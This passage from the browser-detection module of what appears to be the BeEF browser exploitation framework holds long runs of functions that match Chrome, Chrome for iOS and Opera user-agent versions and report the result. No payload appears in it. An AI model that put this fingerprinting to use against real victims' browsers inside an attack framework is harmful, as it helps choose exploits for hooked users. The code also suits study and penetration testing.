  4705. return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 47) ? true : false);
  4706. },
  4707.  
  4708. /**
  4709. * Returns true if Chrome 48.
  4710. * @example: beef.browser.isC48()
  4711. */
  4712. isC48: function () {
  4713. return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 48) ? true : false);
  4714. },
  4715.  
  4716. /**
  4717. * Returns true if Chrome for iOS 48.
  4718. * @example: beef.browser.isC48iOS()
  4719. */
  4720. isC48iOS: function () {
  4721. return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 48) ? true : false);
  4722. },
  4723.  
  4724. /**
  4725. * Returns true if Chrome 49.
  4726. * @example: beef.browser.isC49()
  4727. */
  4728. isC49: function () {
  4729. return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 49) ? true : false);
  4730. },
  4731.  
  4732. /**
  4733. * Returns true if Chrome for iOS 49.
  4734. * @example: beef.browser.isC49iOS()
  4735. */
  4736. isC49iOS: function () {
  4737. return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 49) ? true : false);
  4738. },
  4739.  
  4740. /**
  4741. * Returns true if Chrome 50.
  4742. * @example: beef.browser.isC50()
  4743. */
  4744. isC50: function () {
  4745. return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 50) ? true : false);
  4746. },
  4747.  
  4748. /**
  4749. * Returns true if Chrome for iOS 50.
  4750. * @example: beef.browser.isC50iOS()
  4751. */
  4752. isC50iOS: function () {
  4753. return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 50) ? true : false);
  4754. },
  4755.  
  4756. /**
  4757. * Returns true if Chrome 51.
  4758. * @example: beef.browser.isC51()
  4759. */
  4760. isC51: function () {
  4761. return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 51) ? true : false);
  4762. },
  4763.  
  4764. /**
  4765. * Returns true if Chrome for iOS 51.
  4766. * @example: beef.browser.isC51iOS()
  4767. */
  4768. isC51iOS: function () {
  4769. return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 51) ? true : false);
  4770. },
  4771.  
  4772. /**
  4773. * Returns true if Chrome 52.
  4774. * @example: beef.browser.isC52()
  4775. */
  4776. isC52: function () {
  4777. return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 52) ? true : false);
  4778. },
  4779.  
  4780. /**
  4781. * Returns true if Chrome for iOS 52.
  4782. * @example: beef.browser.isC52iOS()
  4783. */
  4784. isC52iOS: function () {
  4785. return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 52) ? true : false);
  4786. },
  4787.  
  4788. /**
  4789. * Returns true if Chrome 53.
  4790. * @example: beef.browser.isC53()
  4791. */
  4792. isC53: function () {
  4793. return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 53) ? true : false);
  4794. },
  4795.  
  4796. /**
  4797. * Returns true if Chrome for iOS 53.
  4798. * @example: beef.browser.isC53iOS()
  4799. */
  4800. isC53iOS: function () {
  4801. return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 53) ? true : false);
  4802. },
  4803.  
  4804. /**
  4805. * Returns true if Chrome 54.
  4806. * @example: beef.browser.isC54()
  4807. */
  4808. isC54: function () {
  4809. return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 54) ? true : false);
  4810. },
  4811.  
  4812. /**
  4813. * Returns true if Chrome for iOS 54.
  4814. * @example: beef.browser.isC54iOS()
  4815. */
  4816. isC54iOS: function () {
  4817. return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 54) ? true : false);
  4818. },
  4819.  
  4820. /**
  4821. * Returns true if Chrome 55.
  4822. * @example: beef.browser.isC55()
  4823. */
  4824. isC55: function () {
  4825. return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 55) ? true : false);
  4826. },
  4827.  
  4828. /**
  4829. * Returns true if Chrome for iOS 55.
  4830. * @example: beef.browser.isC55iOS()
  4831. */
  4832. isC55iOS: function () {
  4833. return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 55) ? true : false);
  4834. },
  4835.  
  4836. /**
  4837. * Returns true if Chrome 56.
  4838. * @example: beef.browser.isC56()
  4839. */
  4840. isC56: function () {
  4841. return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 56) ? true : false);
  4842. },
  4843.  
  4844. /**
  4845. * Returns true if Chrome for iOS 56.
  4846. * @example: beef.browser.isC56iOS()
  4847. */
  4848. isC56iOS: function () {
  4849. return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 56) ? true : false);
  4850. },
  4851.  
  4852. /**
  4853. * Returns true if Chrome 57.
  4854. * @example: beef.browser.isC57()
  4855. */
  4856. isC57: function () {
  4857. return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 57) ? true : false);
  4858. },
  4859.  
  4860. /**
  4861. * Returns true if Chrome for iOS 57.
  4862. * @example: beef.browser.isC57iOS()
  4863. */
  4864. isC57iOS: function () {
  4865. return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 57) ? true : false);
  4866. },
  4867.  
  4868. /**
  4869. * Returns true if Chrome 58.
  4870. * @example: beef.browser.isC58()
  4871. */
  4872. isC58: function () {
  4873. return (!!window.chrome && !!window.fetch && !window.webkitPerformance && window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 58) ? true : false);
  4874. },
  4875.  
  4876. /**
  4877. * Returns true if Chrome for iOS 58.
  4878. * @example: beef.browser.isC58iOS()
  4879. */
  4880. isC58iOS: function () {
  4881. return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 58) ? true : false);
  4882. },
  4883. isC63iOS: function () {
  4884. return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./) != null) && ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 63) ? true : false);
  4885. },
  4886.  
  4887. /**
  4888. * Returns true if Chrome.
  4889. * @example: beef.browser.isC()
  4890. */
  4891. isC: function () {
  4892. return this.isC5() || this.isC6() || this.isC7() || this.isC8() || this.isC9() || this.isC10() || this.isC11() || this.isC12() || this.isC13() || this.isC14() || this.isC15() || this.isC16() || this.isC17() || this.isC18() || this.isC19() || this.isC19iOS() || this.isC20() || this.isC20iOS() || this.isC21() || this.isC21iOS() || this.isC22() || this.isC22iOS() || this.isC23() || this.isC23iOS() || this.isC24() || this.isC24iOS() || this.isC25() || this.isC25iOS() || this.isC26() || this.isC26iOS() || this.isC27() || this.isC27iOS() || this.isC28() || this.isC28iOS() || this.isC29() || this.isC29iOS() || this.isC30() || this.isC30iOS() || this.isC31() || this.isC31iOS() || this.isC32() || this.isC32iOS() || this.isC33() || this.isC33iOS() || this.isC34() || this.isC34iOS() || this.isC35() || this.isC35iOS() || this.isC36() || this.isC36iOS() || this.isC37() || this.isC37iOS() || this.isC38() || this.isC38iOS() || this.isC39() || this.isC39iOS() || this.isC40() || this.isC40iOS() || this.isC41() || this.isC41iOS() || this.isC42() || this.isC42iOS() || this.isC43() || this.isC43iOS() || this.isC44() || this.isC44iOS() || this.isC45() || this.isC45iOS() || this.isC46() || this.isC46iOS() || this.isC47() || this.isC47iOS() || this.isC48() || this.isC48iOS() || this.isC49() || this.isC49iOS() || this.isC50() || this.isC50iOS() || this.isC51() || this.isC51iOS() || this.isC52() || this.isC52iOS() || this.isC53() || this.isC53iOS() || this.isC54() || this.isC54iOS() || this.isC55() || this.isC55iOS() || this.isC56() || this.isC56iOS() || this.isC57() || this.isC57iOS() || this.isC58() || this.isC58iOS() || this.isC63iOS();
  4893. },
  4894.  
  4895. /**
  4896. * Returns true if Opera 9.50 through 9.52.
  4897. * @example: beef.browser.isO9_52()
  4898. */
  4899. isO9_52: function () {
  4900. return (!!window.opera && (window.navigator.userAgent.match(/Opera\/9\.5/) != null));
  4901. },
  4902.  
  4903. /**
  4904. * Returns true if Opera 9.60 through 9.64.
  4905. * @example: beef.browser.isO9_60()
  4906. */
  4907. isO9_60: function () {
  4908. return (!!window.opera && (window.navigator.userAgent.match(/Opera\/9\.6/) != null));
  4909. },
  4910.  
  4911. /**
  4912. * Returns true if Opera 10.xx.
  4913. * @example: beef.browser.isO10()
  4914. */
  4915. isO10: function () {
  4916. return (!!window.opera && (window.navigator.userAgent.match(/Opera\/9\.80.*Version\/10\./) != null));
  4917. },
  4918.  
  4919. /**
  4920. * Returns true if Opera 11.xx.
  4921. * @example: beef.browser.isO11()
  4922. */
  4923. isO11: function () {
  4924. return (!!window.opera && (window.navigator.userAgent.match(/Opera\/9\.80.*Version\/11\./) != null));
  4925. },
  4926.  
  4927. /**
  4928. * Returns true if Opera 12.xx.
  4929. * @example: beef.browser.isO12()
  4930. */
  4931. isO12: function () {
  4932. return (!!window.opera && (window.navigator.userAgent.match(/Opera\/9\.80.*Version\/12\./) != null));
  4933. },
  4934.  
  4935. /**
  4936. * Returns true if Opera.
  4937. * @example: beef.browser.isO()
  4938. */
  4939. isO: function () {
  4940. return this.isO9_52() || this.isO9_60() || this.isO10() || this.isO11() || this.isO12();
  4941. },
  4942.  
  4943. /**
  4944. * Returns a hash of string keys representing a given capability
  4945. * @example: beef.browser.capabilities()["navigator.plugins"]
  4946. */
  4947. capabilities: function () {
  4948. var out = {};
  4949. var type = this.type();
  4950.  
  4951. out["navigator.plugins"] = (type.IE11 || !type.IE);
  4952.  
  4953. return out;
  4954. },
  4955.  
  4956. /**
  4957. * Returns the type of browser being used.
  4958. * @example: beef.browser.type().IE6
  4959. * @example: beef.browser.type().FF
  4960. * @example: beef.browser.type().O
  4961. */
  4962. type: function () {
  4963.  
  4964. return {
  4965. C5: this.isC5(), // Chrome 5
  4966. C6: this.isC6(), // Chrome 6
  4967. C7: this.isC7(), // Chrome 7
  4968. C8: this.isC8(), // Chrome 8
  4969. C9: this.isC9(), // Chrome 9
  4970. C10: this.isC10(), // Chrome 10
  4971. C11: this.isC11(), // Chrome 11
  4972. C12: this.isC12(), // Chrome 12
  4973. C13: this.isC13(), // Chrome 13
  4974. C14: this.isC14(), // Chrome 14
  4975. C15: this.isC15(), // Chrome 15
  4976. C16: this.isC16(), // Chrome 16
  4977. C17: this.isC17(), // Chrome 17
  4978. C18: this.isC18(), // Chrome 18
  4979. C19: this.isC19(), // Chrome 19
  4980. C19iOS: this.isC19iOS(), // Chrome 19 on iOS
  4981. C20: this.isC20(), // Chrome 20
  4982. C20iOS: this.isC20iOS(), // Chrome 20 on iOS
  4983. C21: this.isC21(), // Chrome 21
  4984. C21iOS: this.isC21iOS(), // Chrome 21 on iOS
  4985. C22: this.isC22(), // Chrome 22
  4986. C22iOS: this.isC22iOS(), // Chrome 22 on iOS
  4987. C23: this.isC23(), // Chrome 23
  4988. C23iOS: this.isC23iOS(), // Chrome 23 on iOS
  4989. C24: this.isC24(), // Chrome 24
  4990. C24iOS: this.isC24iOS(), // Chrome 24 on iOS
  4991. C25: this.isC25(), // Chrome 25
  4992. C25iOS: this.isC25iOS(), // Chrome 25 on iOS
  4993. C26: this.isC26(), // Chrome 26
  4994. C26iOS: this.isC26iOS(), // Chrome 26 on iOS
  4995. C27: this.isC27(), // Chrome 27
  4996. C27iOS: this.isC27iOS(), // Chrome 27 on iOS
  4997. C28: this.isC28(), // Chrome 28
  4998. C28iOS: this.isC28iOS(), // Chrome 28 on iOS
  4999. C29: this.isC29(), // Chrome 29
  5000. C29iOS: this.isC29iOS(), // Chrome 29 on iOS
  5001. C30: this.isC30(), // Chrome 30
  5002. C30iOS: this.isC30iOS(), // Chrome 30 on iOS
  5003. C31: this.isC31(), // Chrome 31
  5004. C31iOS: this.isC31iOS(), // Chrome 31 on iOS
  5005. C32: this.isC32(), // Chrome 32
  5006. C32iOS: this.isC32iOS(), // Chrome 32 on iOS
  5007. C33: this.isC33(), // Chrome 33
  5008. C33iOS: this.isC33iOS(), // Chrome 33 on iOS
  5009. C34: this.isC34(), // Chrome 34
  5010. C34iOS: this.isC34iOS(), // Chrome 34 on iOS
  5011. C35: this.isC35(), // Chrome 35
  5012. C35iOS: this.isC35iOS(), // Chrome 35 on iOS
  5013. C36: this.isC36(), // Chrome 36
  5014. C36iOS: this.isC36iOS(), // Chrome 36 on iOS
  5015. C37: this.isC37(), // Chrome 37
  5016. C37iOS: this.isC37iOS(), // Chrome 37 on iOS
  5017. C38: this.isC38(), // Chrome 38
  5018. C38iOS: this.isC38iOS(), // Chrome 38 on iOS
  5019. C39: this.isC39(), // Chrome 39
  5020. C39iOS: this.isC39iOS(), // Chrome 39 on iOS
  5021. C40: this.isC40(), // Chrome 40
  5022. C40iOS: this.isC40iOS(), // Chrome 40 on iOS
  5023. C41: this.isC41(), // Chrome 41
  5024. C41iOS: this.isC41iOS(), // Chrome 41 on iOS
  5025. C42: this.isC42(), // Chrome 42
  5026. C42iOS: this.isC42iOS(), // Chrome 42 on iOS
  5027. C43: this.isC43(), // Chrome 43
  5028. C43iOS: this.isC43iOS(), // Chrome 43 on iOS
  5029. C44: this.isC44(), // Chrome 44
  5030. C44iOS: this.isC44iOS(), // Chrome 44 on iOS
  5031. C45: this.isC45(), // Chrome 45
  5032. C45iOS: this.isC45iOS(), // Chrome 45 on iOS
  5033. C46: this.isC46(), // Chrome 46
  5034. C46iOS: this.isC46iOS(), // Chrome 46 on iOS
  5035. C47: this.isC47(), // Chrome 47
  5036. C47iOS: this.isC47iOS(), // Chrome 47 on iOS
  5037. C48: this.isC48(), // Chrome 48
  5038. C48iOS: this.isC48iOS(), // Chrome 48 on iOS
  5039. C49: this.isC49(), // Chrome 49
  5040. C49iOS: this.isC49iOS(), // Chrome 49 on iOS
  5041. C50: this.isC50(), // Chrome 50
  5042. C50iOS: this.isC50iOS(), // Chrome 50 on iOS
  5043. C51: this.isC51(), // Chrome 51
  5044. C51iOS: this.isC51iOS(), // Chrome 51 on iOS
  5045. C52: this.isC52(), // Chrome 52
  5046. C52iOS: this.isC52iOS(), // Chrome 52 on iOS
  5047. C53: this.isC53(), // Chrome 53
  5048. C53iOS: this.isC53iOS(), // Chrome 53 on iOS
  5049. C54: this.isC54(), // Chrome 54
  5050. C54iOS: this.isC54iOS(), // Chrome 54 on iOS
  5051. C55: this.isC55(), // Chrome 55
  5052. C55iOS: this.isC55iOS(), // Chrome 55 on iOS
  5053. C56: this.isC56(), // Chrome 56
  5054. C56iOS: this.isC56iOS(), // Chrome 56 on iOS
  5055. C57: this.isC57(), // Chrome 57
  5056. C57iOS: this.isC57iOS(), // Chrome 57 on iOS
  5057. C58: this.isC58(), // Chrome 58
  5058. C58iOS: this.isC58iOS(), // Chrome 58 on iOS
  5059. C63iOS: this.isC63iOS(),
  5060. C: this.isC(), // Chrome any version
  5061.  
  5062. FF2: this.isFF2(), // Firefox 2
  5063. FF3: this.isFF3(), // Firefox 3
  5064. FF3_5: this.isFF3_5(), // Firefox 3.5
  5065. FF3_6: this.isFF3_6(), // Firefox 3.6
  5066. FF4: this.isFF4(), // Firefox 4
  5067. FF5: this.isFF5(), // Firefox 5
  5068. FF6: this.isFF6(), // Firefox 6
  5069. FF7: this.isFF7(), // Firefox 7
  5070. FF8: this.isFF8(), // Firefox 8
  5071. FF9: this.isFF9(), // Firefox 9
  5072. FF10: this.isFF10(), // Firefox 10
  5073. FF11: this.isFF11(), // Firefox 11
  5074. FF12: this.isFF12(), // Firefox 12
  5075. FF13: this.isFF13(), // Firefox 13
  5076. FF14: this.isFF14(), // Firefox 14
  5077. FF15: this.isFF15(), // Firefox 15
  5078. FF16: this.isFF16(), // Firefox 16
  5079. FF17: this.isFF17(), // Firefox 17
  5080. FF18: this.isFF18(), // Firefox 18
  5081. FF19: this.isFF19(), // Firefox 19
  5082. FF20: this.isFF20(), // Firefox 20
  5083. FF21: this.isFF21(), // Firefox 21
  5084. FF22: this.isFF22(), // Firefox 22
  5085. FF23: this.isFF23(), // Firefox 23
  5086. FF24: this.isFF24(), // Firefox 24
  5087. FF25: this.isFF25(), // Firefox 25
  5088. FF26: this.isFF26(), // Firefox 26
  5089. FF27: this.isFF27(), // Firefox 27
  5090. FF28: this.isFF28(), // Firefox 28
  5091. FF29: this.isFF29(), // Firefox 29
  5092. FF30: this.isFF30(), // Firefox 30
  5093. FF31: this.isFF31(), // Firefox 31
  5094. FF32: this.isFF32(), // Firefox 32
  5095. FF33: this.isFF33(), // Firefox 33
  5096. FF34: this.isFF34(), // Firefox 34
  5097. FF35: this.isFF35(), // Firefox 35
  5098. FF36: this.isFF36(), // Firefox 36
  5099. FF37: this.isFF37(), // Firefox 37
  5100. FF38: this.isFF38(), // Firefox 38
  5101. FF39: this.isFF39(), // Firefox 39
  5102. FF40: this.isFF40(), // Firefox 40
  5103. FF41: this.isFF41(), // Firefox 41
  5104. FF42: this.isFF42(), // Firefox 42
  5105. FF43: this.isFF43(), // Firefox 43
  5106. FF44: this.isFF44(), // Firefox 44
  5107. FF45: this.isFF45(), // Firefox 45
  5108. FF46: this.isFF46(), // Firefox 46
  5109. FF47: this.isFF47(), // Firefox 47
  5110. FF48: this.isFF48(), // Firefox 48
  5111. FF49: this.isFF49(), // Firefox 49
  5112. FF50: this.isFF50(), // Firefox 50
  5113. FF51: this.isFF51(), // Firefox 51
  5114. FF52: this.isFF52(), // Firefox 52
  5115. FF53: this.isFF53(), // Firefox 53
  5116. FF54: this.isFF54(), // Firefox 54
  5117. FF55: this.isFF55(), // Firefox 55
  5118. FF56: this.isFF56(), // Firefox 56
  5119. FF57: this.isFF57(), // Firefox 57
  5120. FF58: this.isFF58(), // Firefox 58
  5121. FF: this.isFF(), // Firefox any version
  5122.  
  5123. IE6: this.isIE6(), // Internet Explorer 6
  5124. IE7: this.isIE7(), // Internet Explorer 7
  5125. IE8: this.isIE8(), // Internet Explorer 8
  5126. IE9: this.isIE9(), // Internet Explorer 9
  5127. IE10: this.isIE10(), // Internet Explorer 10
  5128. IE11: this.isIE11(), // Internet Explorer 11
  5129. IE: this.isIE(), // Internet Explorer any version
  5130.  
  5131. O9_52: this.isO9_52(), // Opera 9.50 through 9.52
  5132. O9_60: this.isO9_60(), // Opera 9.60 through 9.64
  5133. O10: this.isO10(), // Opera 10.xx
  5134. O11: this.isO11(), // Opera 11.xx
  5135. O12: this.isO12(), // Opera 12.xx
  5136. O: this.isO(), // Opera any version
  5137.  
  5138. EP: this.isEpi(), // Epiphany any version
  5139.  
  5140. S4: this.isS4(), // Safari 4.xx
  5141. S5: this.isS5(), // Safari 5.xx
  5142. S6: this.isS6(), // Safari 6.x
  5143. S7: this.isS7(), // Safari 7.x
  5144. S8: this.isS8(), // Safari 8.x
  5145. S: this.isS() // Safari any version
  5146. }
  5147. },
  5148.  
  5149. /**
  5150. * Returns the major version of the browser being used.
  5151. * @return: {String} version number || 'UNKNOWN'.
  5152. *
  5153. * @example: beef.browser.getBrowserVersion()
  5154. */
  5155. getBrowserVersion: function () {
  5156.  
  5157. if (this.isC5()) {
  5158. return '5'
  5159. }
  5160. ; // Chrome 5
  5161. if (this.isC6()) {
  5162. return '6'
  5163. }
  5164. ; // Chrome 6
  5165. if (this.isC7()) {
  5166. return '7'
  5167. }
  5168. ; // Chrome 7
  5169. if (this.isC8()) {
  5170. return '8'
  5171. }
  5172. ; // Chrome 8
  5173. if (this.isC9()) {
  5174. return '9'
  5175. }
  5176. ; // Chrome 9
  5177. if (this.isC10()) {
  5178. return '10'
  5179. }
  5180. ; // Chrome 10
  5181. if (this.isC11()) {
  5182. return '11'
  5183. }
  5184. ; // Chrome 11
  5185. if (this.isC12()) {
  5186. return '12'
  5187. }
  5188. ; // Chrome 12
  5189. if (this.isC13()) {
  5190. return '13'
  5191. }
  5192. ; // Chrome 13
  5193. if (this.isC14()) {
  5194. return '14'
  5195. }
  5196. ; // Chrome 14
  5197. if (this.isC15()) {
  5198. return '15'
  5199. }
  5200. ; // Chrome 15
  5201. if (this.isC16()) {
  5202. return '16'
  5203. }
  5204. ; // Chrome 16
  5205. if (this.isC17()) {
  5206. return '17'
  5207. }
  5208. ; // Chrome 17
  5209. if (this.isC18()) {
  5210. return '18'
  5211. }
  5212. ; // Chrome 18
  5213. if (this.isC19()) {
  5214. return '19'
  5215. }
  5216. ; // Chrome 19
  5217. if (this.isC19iOS()) {
  5218. return '19'
  5219. }
  5220. ; // Chrome 19 for iOS
  5221. if (this.isC20()) {
  5222. return '20'
  5223. }
  5224. ; // Chrome 20
  5225. if (this.isC20iOS()) {
  5226. return '20'
  5227. }
  5228. ; // Chrome 20 for iOS
  5229. if (this.isC21()) {
  5230. return '21'
  5231. }
  5232. ; // Chrome 21
  5233. if (this.isC21iOS()) {
  5234. return '21'
  5235. }
  5236. ; // Chrome 21 for iOS
  5237. if (this.isC22()) {
  5238. return '22'
  5239. }
  5240. ; // Chrome 22
  5241. if (this.isC22iOS()) {
  5242. return '22'
  5243. }
  5244. ; // Chrome 22 for iOS
  5245. if (this.isC23()) {
  5246. return '23'
  5247. }
  5248. ; // Chrome 23
  5249. if (this.isC23iOS()) {
  5250. return '23'
  5251. }
  5252. ; // Chrome 23 for iOS
  5253. if (this.isC24()) {
  5254. return '24'
  5255. }
  5256. ; // Chrome 24
  5257. if (this.isC24iOS()) {
  5258. return '24'
  5259. }
  5260. ; // Chrome 24 for iOS
  5261. if (this.isC25()) {
  5262. return '25'
  5263. }
  5264. ; // Chrome 25
  5265. if (this.isC25iOS()) {
  5266. return '25'
  5267. }
  5268. ; // Chrome 25 for iOS
  5269. if (this.isC26()) {
  5270. return '26'
  5271. }
  5272. ; // Chrome 26
  5273. if (this.isC26iOS()) {
  5274. return '26'
  5275. }
  5276. ; // Chrome 26 for iOS
  5277. if (this.isC27()) {
  5278. return '27'
  5279. }
  5280. ; // Chrome 27
  5281. if (this.isC27iOS()) {
  5282. return '27'
  5283. }
  5284. ; // Chrome 27 for iOS
  5285. if (this.isC28()) {
  5286. return '28'
  5287. }
  5288. ; // Chrome 28
  5289. if (this.isC28iOS()) {
  5290. return '28'
  5291. }
  5292. ; // Chrome 28 for iOS
  5293. if (this.isC29()) {
  5294. return '29'
  5295. }
  5296. ; // Chrome 29
  5297. if (this.isC29iOS()) {
  5298. return '29'
  5299. }
  5300. ; // Chrome 29 for iOS
  5301. if (this.isC30()) {
  5302. return '30'
  5303. }
  5304. ; // Chrome 30
  5305. if (this.isC30iOS()) {
  5306. return '30'
  5307. }
  5308. ; // Chrome 30 for iOS
  5309. if (this.isC31()) {
  5310. return '31'
  5311. }
  5312. ; // Chrome 31
  5313. if (this.isC31iOS()) {
  5314. return '31'
  5315. }
  5316. ; // Chrome 31 for iOS
  5317. if (this.isC32()) {
  5318. return '32'
  5319. }
  5320. ; // Chrome 32
  5321. if (this.isC32iOS()) {
  5322. return '32'
  5323. }
  5324. ; // Chrome 32 for iOS
  5325. if (this.isC33()) {
  5326. return '33'
  5327. }
  5328. ; // Chrome 33
  5329. if (this.isC33iOS()) {
  5330. return '33'
  5331. }
  5332. ; // Chrome 33 for iOS
  5333. if (this.isC34()) {
  5334. return '34'
  5335. }
  5336. ; // Chrome 34
  5337. if (this.isC34iOS()) {
  5338. return '34'
  5339. }
  5340. ; // Chrome 34 for iOS
  5341. if (this.isC35()) {
  5342. return '35'
  5343. }
  5344. ; // Chrome 35
  5345. if (this.isC35iOS()) {
  5346. return '35'
  5347. }
  5348. ; // Chrome 35 for iOS
  5349. if (this.isC36()) {
  5350. return '36'
  5351. }
  5352. ; // Chrome 36
  5353. if (this.isC36iOS()) {
  5354. return '36'
  5355. }
  5356. ; // Chrome 36 for iOS
  5357. if (this.isC37()) {
  5358. return '37'
  5359. }
  5360. ; // Chrome 37
  5361. if (this.isC37iOS()) {
  5362. return '37'
  5363. }
  5364. ; // Chrome 37 for iOS
  5365. if (this.isC38()) {
  5366. return '38'
  5367. }
  5368. ; // Chrome 38
  5369. if (this.isC38iOS()) {
  5370. return '38'
  5371. }
  5372. ; // Chrome 38 for iOS
  5373. if (this.isC39()) {
  5374. return '39'
  5375. }
  5376. ; // Chrome 39
  5377. if (this.isC39iOS()) {
  5378. return '39'
  5379. }
  5380. ; // Chrome 39 for iOS
  5381. if (this.isC40()) {
  5382. return '40'
  5383. }
  5384. ; // Chrome 40
  5385. if (this.isC40iOS()) {
  5386. return '40'
  5387. }
  5388. ; // Chrome 40 for iOS
  5389. if (this.isC41()) {
  5390. return '41'
  5391. }
  5392. ; // Chrome 41
  5393. if (this.isC41iOS()) {
  5394. return '41'
  5395. }
  5396. ; // Chrome 41 for iOS
  5397. if (this.isC42()) {
  5398. return '42'
  5399. }
  5400. ; // Chrome 42
  5401. if (this.isC42iOS()) {
  5402. return '42'
  5403. }
  5404. ; // Chrome 42 for iOS
  5405. if (this.isC43()) {
  5406. return '43'
  5407. }
  5408. ; // Chrome 43
  5409. if (this.isC43iOS()) {
  5410. return '43'
  5411. }
  5412. ; // Chrome 43 for iOS
  5413. if (this.isC44()) {
  5414. return '44'
  5415. }
  5416. ; // Chrome 44
  5417. if (this.isC44iOS()) {
  5418. return '44'
  5419. }
  5420. ; // Chrome 44 for iOS
  5421. if (this.isC45()) {
  5422. return '45'
  5423. }
  5424. ; // Chrome 45
  5425. if (this.isC45iOS()) {
  5426. return '45'
  5427. }
  5428. ; // Chrome 45 for iOS
  5429. if (this.isC46()) {
  5430. return '46'
  5431. }
  5432. ;// Chrome 46
  5433. if (this.isC46iOS()) {
  5434. return '46'
  5435. }
  5436. ; // Chrome 46 for iOS
  5437. if (this.isC47()) {
  5438. return '47'
  5439. }
  5440. ;// Chrome 47
  5441. if (this.isC47iOS()) {
  5442. return '47'
  5443. }
  5444. ; // Chrome 47 for iOS
  5445. if (this.isC48()) {
  5446. return '48'
  5447. }
  5448. ;// Chrome 48
  5449. if (this.isC48iOS()) {
  5450. return '48'
  5451. }
  5452. ; // Chrome 48 for iOS
  5453. if (this.isC49()) {
  5454. return '49'
  5455. }
  5456. ;// Chrome 49
  5457. if (this.isC49iOS()) {
  5458. return '49'
  5459. }
  5460. ; // Chrome 49 for iOS
  5461. if (this.isC50()) {
  5462. return '50'
  5463. }
  5464. ;// Chrome 50
  5465. if (this.isC50iOS()) {
  5466. return '50'
  5467. }
  5468. ; // Chrome 50 for iOS
  5469. if (this.isC51()) {
  5470. return '51'
  5471. }
  5472. ;// Chrome 51
  5473. if (this.isC51iOS()) {
  5474. return '51'
  5475. }
  5476. ; // Chrome 51 for iOS
  5477. if (this.isC52()) {
  5478. return '52'
  5479. }
  5480. ;// Chrome 52
  5481. if (this.isC52iOS()) {
  5482. return '52'
  5483. }
  5484. ; // Chrome 52 for iOS
  5485. if (this.isC53()) {
  5486. return '53'
  5487. }
  5488. ;// Chrome 53
  5489. if (this.isC53iOS()) {
  5490. return '53'
  5491. }
  5492. ; // Chrome 53 for iOS
  5493. if (this.isC54()) {
  5494. return '54'
  5495. }
  5496. ;// Chrome 54
  5497. if (this.isC54iOS()) {
  5498. return '54'
  5499. }
  5500. ; // Chrome 54 for iOS
  5501. if (this.isC55()) {
  5502. return '55'
  5503. }
